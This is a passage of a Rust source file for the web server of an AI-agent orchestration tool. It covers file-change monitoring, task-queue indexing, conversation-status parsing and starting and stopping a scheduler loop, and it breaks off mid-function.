1#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118pub const DEFAULT_PORT: u16 = 7878;
120
121const POLL: Duration = Duration::from_secs(1);
123
124const KEEPALIVE: Duration = Duration::from_secs(15);
128
129const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145const LIST_DEFAULT: usize = 50;
149const LIST_MAX: usize = 500;
151
152const TITLE_MAX: usize = 72;
154
155const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172const FILENAME_HEADER: &str = "x-filename";
176
177const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200 font-src data:; base-uri 'none'; form-action 'none'; \
201 frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210 Auto,
212 Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217 type Err = String;
218
219 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223 if s.eq_ignore_ascii_case("auto") {
224 return Ok(Self::Auto);
225 }
226 s.parse()
227 .map(Self::Addr)
228 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229 }
230}
231
232impl std::fmt::Display for Bind {
233 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234 match self {
235 Self::Auto => f.write_str("auto"),
236 Self::Addr(addr) => write!(f, "{addr}"),
237 }
238 }
239}
240
241#[derive(Debug, Clone)]
243pub struct Opts {
244 pub bind: Bind,
246 pub port: u16,
248 pub repo: PathBuf,
250 pub open: bool,
253 pub merge: Option<String>,
259}
260
261impl Default for Opts {
262 fn default() -> Self {
263 Self {
264 bind: Bind::Auto,
265 port: DEFAULT_PORT,
266 repo: PathBuf::from("."),
267 open: false,
268 merge: None,
269 }
270 }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279 try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283 try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287 use std::hash::{Hash as _, Hasher as _};
288 let entries = match std::fs::read_dir(root) {
289 Ok(entries) => entries,
290 Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291 Err(e) => return Err(e),
292 };
293 let mut stamps = HashMap::new();
294 for entry in entries {
295 let entry = entry?;
296 let path = if runs {
297 entry.path().join("run.json")
298 } else {
299 entry.path()
300 };
301 if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302 continue;
303 }
304 let identity = match file_identity(&path) {
305 Ok(identity) => identity,
306 Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307 Err(e) => return Err(e),
308 };
309 let modified = identity
310 .modified
311 .duration_since(std::time::UNIX_EPOCH)
312 .unwrap_or_default();
313 let mut hasher = std::hash::DefaultHasher::new();
314 identity.hash(&mut hasher);
315 let id = if runs || all_entries {
316 entry.file_name().to_string_lossy().into_owned()
317 } else {
318 path.file_stem()
319 .unwrap_or_default()
320 .to_string_lossy()
321 .into_owned()
322 };
323 stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324 }
325 Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330 base: u64,
331 changed: Vec<String>,
332 removed: Vec<String>,
333}
334
335fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
336 let mut changed: Vec<_> = next
337 .iter()
338 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
339 .map(|(id, _)| id.clone())
340 .collect();
341 let mut removed: Vec<_> = previous
342 .keys()
343 .filter(|id| !next.contains_key(*id))
344 .cloned()
345 .collect();
346 changed.sort_unstable();
347 removed.sort_unstable();
348 Delta {
349 base,
350 changed,
351 removed,
352 }
353}
354
355#[cfg(test)]
357fn runs_revision(runs: &FsPath) -> u64 {
358 stamps_revision(&store_stamps(runs, true))
359}
360
361fn stamps_revision(stamps: &Stamps) -> u64 {
365 use std::hash::{Hash as _, Hasher as _};
366 if stamps.is_empty() {
367 return 0;
368 }
369 let mut entries: Vec<_> = stamps.iter().collect();
370 entries.sort_unstable();
371 let mut hasher = std::hash::DefaultHasher::new();
372 entries.hash(&mut hasher);
373 hasher.finish().max(1)
374}
375
376#[derive(Clone, Debug)]
377pub(crate) struct ChangeNotification {
378 pub payload: serde_json::Value,
379}
380
381#[derive(Default, Debug)]
382pub(crate) struct QueueIndex {
383 records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
385 #[cfg(test)]
386 reparsed: usize,
387}
388
389#[derive(Clone, Debug)]
390struct TaskRelation {
391 id: String,
392 status: Option<crate::queue::TaskStatus>,
393 priority: i32,
394 runs: Vec<String>,
395 source: Source,
396 chat: Option<String>,
397}
398
399impl From<Task> for TaskRelation {
400 fn from(task: Task) -> Self {
401 Self {
402 id: task.id,
403 status: Some(task.status),
404 priority: task.priority,
405 runs: task.runs,
406 source: task.source,
407 chat: task.chat,
408 }
409 }
410}
411
412#[derive(Debug, PartialEq, Eq, Hash)]
413struct FileIdentity {
414 modified: std::time::SystemTime,
415 len: u64,
416 #[cfg(unix)]
417 identity: (u64, u64, i64, i64),
418}
419
420fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
421 let meta = path.metadata()?;
422 Ok(FileIdentity {
423 modified: meta.modified()?,
424 len: meta.len(),
425 #[cfg(unix)]
426 identity: {
427 use std::os::unix::fs::MetadataExt as _;
428 (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
429 },
430 })
431}
432
433type Revisions = (u64, u64, u64, u64, u64, u64);
434type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
435
436#[derive(Debug)]
437pub(crate) struct SharedMonitor {
438 pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
439 pub latest: Arc<Mutex<MonitorSnapshot>>,
440 pub worker_started: std::sync::atomic::AtomicBool,
441 pub queue_index: Arc<Mutex<QueueIndex>>,
442 list_walks: Mutex<Vec<ListWalk>>,
443 disk: Arc<Mutex<DiskObservation>>,
444 health_index: Mutex<HealthIndex>,
445 disk_cache: Mutex<DiskCache>,
446 talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
447 talk_status_index: Mutex<TalkStatusIndex>,
448 bulk_slots: Arc<tokio::sync::Semaphore>,
449 talk_core_slots: Arc<tokio::sync::Semaphore>,
450 #[cfg(test)]
451 talk_parses: std::sync::atomic::AtomicUsize,
452}
453
454#[derive(Debug, Default)]
456struct HealthIndex {
457 runs: HashMap<String, (FileIdentity, bool)>,
458 questions: Option<QuestionCounts>,
459 notices: Option<(u64, usize)>,
460 #[cfg(test)]
461 run_parses: usize,
462}
463
464#[derive(Debug, Default)]
467struct TalkStatusIndex {
468 records: HashMap<String, (FileIdentity, Option<talk::TalkStatus>)>,
469 #[cfg(test)]
470 parses: usize,
471}
472
473fn read_talk_status(reader: impl std::io::Read) -> Option<talk::TalkStatus> {
478 use serde::de::{IgnoredAny, MapAccess, Visitor};
479
480 struct StatusHeader<'a>(&'a mut Option<talk::TalkStatus>);
481 impl<'de> Visitor<'de> for StatusHeader<'_> {
482 type Value = ();
483
484 fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
485 f.write_str("a conversation header")
486 }
487
488 fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<Self::Value, A::Error> {
489 while let Some(key) = map.next_key::<String>()? {
490 match key.as_str() {
491 "status" => {
492 *self.0 = Some(map.next_value()?);
493 return Err(serde::de::Error::custom("conversation header complete"));
494 }
495 "turns" => {
496 *self.0 = Some(talk::TalkStatus::Open);
497 return Err(serde::de::Error::custom("noncanonical conversation header"));
498 }
499 _ => {
500 map.next_value::<IgnoredAny>()?;
501 }
502 }
503 }
504 Ok(())
505 }
506 }
507
508 let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
512 let mut json = serde_json::Deserializer::from_reader(reader);
513 let mut status = None;
514 let result = serde::Deserializer::deserialize_map(&mut json, StatusHeader(&mut status));
517 status.or_else(|| match result {
518 Ok(()) => Some(talk::TalkStatus::Open),
519 Err(error) if error.is_eof() => Some(talk::TalkStatus::Open),
520 Err(_) => None,
521 })
522}
523
524fn open_talk_ids(ui: &Ui, ids: &[String]) -> std::collections::HashSet<String> {
525 open_talk_ids_with(ui, ids, |path| {
526 std::fs::File::open(path).ok().and_then(read_talk_status)
527 })
528}
529
530fn open_talk_ids_with(
531 ui: &Ui,
532 ids: &[String],
533 mut read_status: impl FnMut(&FsPath) -> Option<talk::TalkStatus>,
534) -> std::collections::HashSet<String> {
535 let mut index = ui
536 .monitor
537 .talk_status_index
538 .lock()
539 .unwrap_or_else(PoisonError::into_inner);
540 let present: std::collections::HashSet<_> = ids.iter().collect();
541 index.records.retain(|id, _| present.contains(id));
542 let mut open = std::collections::HashSet::new();
543 for id in ids {
544 let Ok(identity) = file_identity(&ui.talks.path_of(id)) else {
545 index.records.remove(id);
546 continue;
547 };
548 let status = if let Some((old, status)) = index.records.get(id)
549 && *old == identity
550 {
551 *status
552 } else {
553 let status = read_status(&ui.talks.path_of(id));
554 #[cfg(test)]
555 {
556 index.parses += 1;
557 }
558 if file_identity(&ui.talks.path_of(id)).is_ok_and(|after| after == identity) {
559 index.records.insert(id.clone(), (identity, status));
560 } else {
561 index.records.remove(id);
562 }
563 status
564 };
565 if status == Some(talk::TalkStatus::Open) {
566 open.insert(id.clone());
567 }
568 }
569 open
570}
571
572const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
574
575#[derive(Debug)]
576struct QuestionCounts {
577 revision: u64,
578 measured: std::time::Instant,
579 open: usize,
580 owner: usize,
581}
582
583#[derive(Debug, Clone)]
584struct DiskSizes {
585 runs: u64,
586 worktrees: u64,
587 cache: Option<u64>,
588}
589
590#[derive(Debug, Default)]
591struct DiskCache {
592 measured: Option<std::time::Instant>,
593 loading: bool,
594 config: Option<Config>,
595 disk: Option<DiskSizes>,
596 update: Option<UpdateView>,
597}
598
599fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
601 let (mut rev, mut stamps) = previous.unwrap_or_default();
602 for (index, root, runs) in [
603 (0, ui.queue.root(), false),
604 (1, ui.runs.as_path(), true),
605 (2, ui.talks.root(), false),
606 ] {
607 if let Ok(next) = try_store_stamps(root, runs) {
608 let value = stamps_revision(&next);
609 match index {
610 0 => rev.0 = value,
611 1 => rev.1 = value,
612 _ => rev.3 = value,
613 }
614 stamps[index] = next;
615 }
616 }
617 if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
618 rev.2 = stamps_revision(&next);
619 }
620 if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
621 rev.4 = stamps_revision(&next);
622 }
623 rev.5 = ui.lock_loop().rev;
624 (rev, stamps)
625}
626
627impl SharedMonitor {
628 pub fn new() -> Self {
629 let (tx, _) = tokio::sync::broadcast::channel(64);
630 Self {
631 broadcaster: tx,
632 latest: Arc::default(),
633 worker_started: std::sync::atomic::AtomicBool::new(false),
634 queue_index: Arc::default(),
635 list_walks: Mutex::default(),
636 disk: Arc::default(),
637 health_index: Mutex::default(),
638 disk_cache: Mutex::default(),
639 talk_index: Mutex::default(),
640 talk_status_index: Mutex::default(),
641 bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
642 talk_core_slots: Arc::new(tokio::sync::Semaphore::new(2)),
643 #[cfg(test)]
644 talk_parses: std::sync::atomic::AtomicUsize::new(0),
645 }
646 }
647
648 async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
649 let mut receiver = self.broadcaster.subscribe();
650 self.ensure_worker(ui);
651 loop {
652 if let Some((revisions, _)) = self
653 .latest
654 .lock()
655 .unwrap_or_else(PoisonError::into_inner)
656 .as_ref()
657 {
658 return Ok(*revisions);
659 }
660 tokio::time::timeout(Duration::from_secs(5), receiver.recv())
661 .await
662 .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
663 .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
664 }
665 }
666
667 pub fn ensure_worker(&self, ui: &Arc<Ui>) {
668 if self
669 .worker_started
670 .compare_exchange(
671 false,
672 true,
673 std::sync::atomic::Ordering::SeqCst,
674 std::sync::atomic::Ordering::SeqCst,
675 )
676 .is_err()
677 {
678 return;
679 }
680
681 let weak_ui = Arc::downgrade(ui);
682 tokio::spawn(async move {
683 let mut ticker = tokio::time::interval(POLL);
684 loop {
685 ticker.tick().await;
686 let Some(ui) = weak_ui.upgrade() else {
687 break;
688 };
689
690 let previous = ui
691 .monitor
692 .latest
693 .lock()
694 .unwrap_or_else(PoisonError::into_inner)
695 .clone();
696 let state = Arc::clone(&ui);
697 let scan =
698 tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
699
700 ticker.reset();
702 let Ok((revisions, next_stamps)) = scan else {
703 continue;
704 };
705
706 let mut latest_guard = match ui.monitor.latest.lock() {
707 Ok(g) => g,
708 Err(p) => p.into_inner(),
709 };
710
711 let previous = latest_guard.take();
712 let (last_rev, prev_stamps) = match previous {
713 Some((r, s)) => (Some(r), Some(s)),
714 None => (None, None),
715 };
716
717 if last_rev == Some(revisions) {
718 *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
719 continue;
720 }
721
722 let mut payload = serde_json::json!({
723 "queue_rev": revisions.0,
724 "runs_rev": revisions.1,
725 "questions_rev": revisions.2,
726 "talks_rev": revisions.3,
727 "notifications_rev": revisions.4,
728 "loop_rev": revisions.5,
729 });
730
731 if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
732 for (index, (key, rev)) in [
733 ("queue_delta", base.0),
734 ("runs_delta", base.1),
735 ("talks_delta", base.3),
736 ]
737 .into_iter()
738 .enumerate()
739 {
740 let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
741 if delta.changed.len() + delta.removed.len() > 0
742 && delta.changed.len() <= 50
743 {
744 payload[key] = serde_json::to_value(delta).expect("serializable delta");
745 }
746 }
747 }
748
749 *latest_guard = Some((revisions, next_stamps));
750 drop(latest_guard);
751
752 let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
753 }
754 });
755 }
756}
757
758#[derive(Debug, Clone)]
764pub struct Ui {
765 queue: Queue,
766 questions: Questions,
767 notices: Notices,
770 talks: Talks,
771 runs: PathBuf,
772 references: Arc<id_links::IndexCache>,
773 home: PathBuf,
774 repo: PathBuf,
775 worktrees_root: PathBuf,
782 talk_turns: Arc<Mutex<TalkTurns>>,
790 admissions: Arc<tokio::sync::RwLock<bool>>,
793 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
797 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
800 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
802 auto_failed_tag: Arc<Mutex<Option<String>>>,
803 upgrade_runner: UpgradeRunner,
804 resuming: Arc<Mutex<HashSet<String>>>,
812 repos_cache: repos::Cache,
816 machine_config: Option<PathBuf>,
820 merge: Option<String>,
822 looping: Arc<Mutex<LoopState>>,
824 #[cfg(test)]
826 launch: Launch,
827 #[cfg(test)]
830 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
831 pub(crate) monitor: Arc<SharedMonitor>,
832}
833
834type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
835
836#[cfg(test)]
856struct BusyQueueGate {
857 reached: tokio::sync::oneshot::Sender<()>,
858 release: std::sync::mpsc::Receiver<()>,
859}
860
861#[cfg(test)]
862impl std::fmt::Debug for BusyQueueGate {
863 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
864 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
865 }
866}
867
868impl Ui {
869 pub fn new(
871 queue: Queue,
872 questions: Questions,
873 talks: Talks,
874 runs: PathBuf,
875 home: PathBuf,
876 repo: PathBuf,
877 ) -> Self {
878 Self {
879 queue,
880 questions,
881 notices: Notices::at(home.join("notifications")),
882 talks,
883 runs,
884 references: Arc::default(),
885 home,
886 repo,
887 worktrees_root: run::default_worktree_root(),
891 talk_turns: Arc::default(),
892 admissions: Arc::default(),
893 upgrade_gate: Arc::default(),
894 upgrade_spawned: Arc::default(),
895 upgrade_request_error: Arc::default(),
896 auto_failed_tag: Arc::default(),
897 upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
898 resuming: Arc::default(),
899 repos_cache: repos::Cache::new(),
900 machine_config: Config::machine_layer(),
901 merge: None,
902 looping: Arc::default(),
903 #[cfg(test)]
904 launch: launch_daemon,
905 #[cfg(test)]
906 busy_queue_gate: Arc::default(),
907 monitor: Arc::new(SharedMonitor::new()),
908 }
909 }
910
911 fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
914 let mut index = self
915 .monitor
916 .queue_index
917 .lock()
918 .unwrap_or_else(PoisonError::into_inner);
919 let entries = match std::fs::read_dir(self.queue.root()) {
920 Ok(entries) => entries,
921 Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
922 index.records.clear();
923 return Ok(Vec::new());
924 }
925 Err(e) => return Err(anyhow::Error::from(e).into()),
926 };
927 let mut seen = HashSet::new();
928 for entry in entries {
929 let path = entry.map_err(anyhow::Error::from)?.path();
930 if path.extension().is_none_or(|ext| ext != "json") {
931 continue;
932 }
933 let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
934 continue;
935 };
936 let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
937 seen.insert(id.to_owned());
938 if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
941 let Ok(task) = self.queue.get(id) else {
942 if let Some((_, record)) = index.records.get_mut(id) {
948 Arc::make_mut(record).status = None;
949 }
950 continue;
951 };
952 #[cfg(test)]
953 {
954 index.reparsed += 1;
955 }
956 if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
957 return Err(ApiError::conflict("Queue changed during read; retry"));
958 }
959 index
960 .records
961 .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
962 }
963 }
964 index.records.retain(|id, _| seen.contains(id));
965 let mut tasks: Vec<_> = index
966 .records
967 .values()
968 .map(|(_, task)| task.clone())
969 .collect();
970 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
971 Ok(tasks)
972 }
973
974 fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
975 let Some(record) = self
976 .indexed_tasks()?
977 .into_iter()
978 .find(|task| task.runs.iter().any(|id| id == run_id))
979 else {
980 return Ok(None);
981 };
982 let task = self.queue.get(&record.id)?;
983 if !task.runs.iter().any(|id| id == run_id) {
984 return Err(ApiError::conflict("Task relationship changed; retry"));
985 }
986 Ok(Some(task))
987 }
988
989 fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
990 self.indexed_tasks()?
991 .into_iter()
992 .filter(|task| {
993 task.chat.as_deref() == Some(talk_id)
994 || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
995 })
996 .map(|record| {
997 let task = self.queue.get(&record.id)?;
998 if task.chat.as_deref() != Some(talk_id)
999 && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1000 {
1001 return Err(ApiError::conflict("Task relationship changed; retry"));
1002 }
1003 Ok(task)
1004 })
1005 .collect()
1006 }
1007
1008 pub fn open(repo: PathBuf) -> Self {
1011 Self::new(
1012 Queue::open(),
1013 Questions::open(),
1014 Talks::open(),
1015 run::runs_root(),
1016 run::home(),
1017 repo,
1018 )
1019 }
1020
1021 #[must_use]
1028 pub fn with_merge(mut self, merge: Option<String>) -> Self {
1029 self.merge = merge;
1030 self
1031 }
1032
1033 #[cfg(test)]
1036 #[must_use]
1037 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1038 self.machine_config = path;
1039 self
1040 }
1041
1042 #[must_use]
1047 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1048 self.worktrees_root = root;
1049 self
1050 }
1051
1052 #[cfg(test)]
1057 #[must_use]
1058 fn with_launch(mut self, launch: Launch) -> Self {
1059 self.launch = launch;
1060 self
1061 }
1062
1063 #[cfg(test)]
1073 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1074 *self
1075 .busy_queue_gate
1076 .lock()
1077 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1078 }
1079
1080 fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1083 let guard = Arc::clone(&self.admissions)
1084 .try_read_owned()
1085 .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1086 if *guard {
1087 return Err(ApiError::conflict(
1088 "web restart in progress; retry this message",
1089 ));
1090 }
1091 Ok(guard)
1092 }
1093
1094 async fn start_detached_loop(&self) -> ApiResult<()> {
1096 if self
1097 .upgrade_spawned
1098 .load(std::sync::atomic::Ordering::SeqCst)
1099 {
1100 return Err(ApiError::conflict("an upgrade is in progress"));
1101 }
1102 let reading = daemon::read_status(&self.home);
1103 if let Some(other) = Foreign::of(reading.as_ref()) {
1104 return Err(ApiError::conflict(format!(
1105 "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1106 other.who()
1107 )));
1108 }
1109 let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1110 let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1111 let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1112 || reading.is_some_and(|reading| {
1113 reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1114 });
1115 if control.is_some() && scheduler_running {
1116 return Err(ApiError::conflict(
1117 "the scheduler is still stopping; retry Start after it has stopped",
1118 ));
1119 }
1120 if !jobs.iter().any(|job| job.kind == "scheduler") {
1121 let available =
1122 crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1123 if available.is_none() {
1124 return Err(ApiError::conflict(
1125 "the scheduler is still running or stopping; retry after its transition completes",
1126 ));
1127 }
1128 drop(available);
1129 }
1130 let opts = daemon::Opts {
1131 repo: self.repo.clone(),
1132 merge: self.merge.clone(),
1133 worktrees_root: Some(self.worktrees_root.clone()),
1134 ..daemon::Opts::default()
1135 };
1136 daemon::spawn_detached(&self.home, &opts)
1137 .await
1138 .map_err(ApiError::from)?;
1139 let mut state = self.lock_loop();
1140 state.last_error = None;
1141 state.rev += 1;
1142 Ok(())
1143 }
1144
1145 #[cfg(test)]
1152 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1153 if let Some(other) = foreign {
1154 return Err(ApiError::conflict(format!(
1155 "{} is already running the loop, so this one will not start a \
1156 second: two loops on one queue race for the same claims and \
1157 burn the agent quota twice over. Stop it where it was \
1158 started.",
1159 other.who()
1160 )));
1161 }
1162 let mut state = self.lock_loop();
1163 if self
1164 .upgrade_spawned
1165 .load(std::sync::atomic::Ordering::SeqCst)
1166 {
1167 return Err(ApiError::conflict("an upgrade is in progress"));
1168 }
1169 if state.live.as_ref().is_some_and(Live::alive) {
1170 return Err(ApiError::conflict(format!(
1171 "this magi web process (pid {}) is already running the loop",
1172 std::process::id()
1173 )));
1174 }
1175
1176 let stop = daemon::Stop::new();
1177 let opts = daemon::Opts {
1181 repo: self.repo.clone(),
1182 merge: self.merge.clone(),
1183 worktrees_root: Some(self.worktrees_root.clone()),
1190 ..daemon::Opts::default()
1191 };
1192 let launch = self.launch;
1193 let looping = Arc::clone(&self.looping);
1194 let handle = tokio::spawn({
1195 let opts = opts.clone();
1196 let stop = stop.clone();
1197 async move {
1198 let failure = match launch(opts, stop).await {
1199 Ok(()) => None,
1200 Err(e) => Some(format!("{e:#}")),
1201 };
1202 match &failure {
1203 Some(why) => tracing::error!("the loop stopped: {why}"),
1204 None => tracing::info!("the loop stopped"),
1205 }
1206 let mut state = lock_or_recover(&looping);
1212 state.live = None;
1213 state.last_error = failure;
1214 state.rev += 1;
1215 }
1216 });
1217 tracing::info!(
1218 "the loop is now running in this process: repo {}, merge {}",
1219 opts.repo.display(),
1220 opts.merge.as_deref().unwrap_or("as the config says")
1221 );
1222 state.live = Some(Live { stop, handle, opts });
1223 state.last_error = None;
1226 state.rev += 1;
1227 Ok(())
1228 }
1229
1230 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1236 if let Some(other) = foreign {
1237 return Err(ApiError::conflict(format!(
1238 "the loop belongs to {}, and this process cannot stop it - \
1239 stop it where it was started. A button that silently did \
1240 nothing would be worse than this refusal.",
1241 other.who()
1242 )));
1243 }
1244 #[cfg(not(test))]
1245 {
1246 daemon::request_control(
1247 &self.home,
1248 if park {
1249 crate::worker::Control::Park
1250 } else {
1251 crate::worker::Control::Stop
1252 },
1253 )
1254 .map_err(ApiError::from)?;
1255 self.lock_loop().rev += 1;
1256 Ok(())
1257 }
1258 #[cfg(test)]
1259 {
1260 let mut state = self.lock_loop();
1261 let Some(live) = state.live.as_ref() else {
1262 return Ok(());
1263 };
1264 if live.stop.stopped() && (!park || live.stop.parking()) {
1268 return Ok(());
1269 }
1270 if park {
1271 live.stop.park(crate::run::ParkCause::Operator);
1272 tracing::info!(
1273 "the loop was asked to park; the run stops at its next node boundary"
1274 );
1275 } else {
1276 live.stop.stop();
1277 tracing::info!("the loop was asked to stop; a run in flight is finished first");
1278 }
1279 state.rev += 1;
1280 Ok(())
1281 }
1282 }
1283
1284 #[cfg(not(test))]
1291 fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1292 let jobs = crate::worker::active(&self.home).map_err(|error| {
1293 ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1294 })?;
1295 Ok(self.runtime_loop_view(reading, &jobs))
1296 }
1297
1298 #[cfg(test)]
1299 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1300 let state = self.lock_loop();
1301 let live = state.live.as_ref().filter(|live| live.alive());
1304 LoopView {
1305 running: live.is_some(),
1306 stopping: live.is_some_and(|live| live.stop.finishing()),
1307 parking: live.is_some_and(|live| live.stop.parking()),
1308 owned: live.is_some(),
1309 repo: live
1310 .map_or(&self.repo, |live| &live.opts.repo)
1311 .display()
1312 .to_string(),
1313 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1314 last_error: state.last_error.clone(),
1315 daemon: DaemonView::of(reading),
1316 }
1317 }
1318
1319 fn runtime_loop_view(
1321 &self,
1322 reading: Option<daemon::Reading>,
1323 jobs: &[crate::worker::Job],
1324 ) -> LoopView {
1325 let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1326 let reporting = reading
1327 .as_ref()
1328 .is_some_and(|r| r.running(Timestamp::now()));
1329 let managed = scheduler.is_some()
1330 || (reporting
1331 && reading
1332 .as_ref()
1333 .is_some_and(|r| r.worker_protocol == Some(1)));
1334 let control = crate::worker::control(&self.home, "scheduler")
1335 .ok()
1336 .flatten();
1337 let persisted = if managed && scheduler.is_none() {
1340 std::fs::read(self.home.join("scheduler-options.json"))
1341 .ok()
1342 .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1343 } else {
1344 None
1345 };
1346 let repo = scheduler
1347 .and_then(|job| job.payload.get("repo"))
1348 .and_then(serde_json::Value::as_str)
1349 .map(str::to_owned)
1350 .or_else(|| {
1351 persisted
1352 .as_ref()
1353 .map(|opts| opts.repo.display().to_string())
1354 })
1355 .unwrap_or_else(|| self.repo.display().to_string());
1356 let merge = match scheduler {
1357 Some(job) => job
1358 .payload
1359 .get("merge")
1360 .and_then(serde_json::Value::as_str)
1361 .map(str::to_owned),
1362 None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1363 };
1364 LoopView {
1365 running: managed || reporting,
1366 stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1367 parking: matches!(control, Some(crate::worker::Control::Park))
1368 && jobs.iter().any(|job| job.kind == "task"),
1369 owned: managed,
1370 repo,
1371 merge,
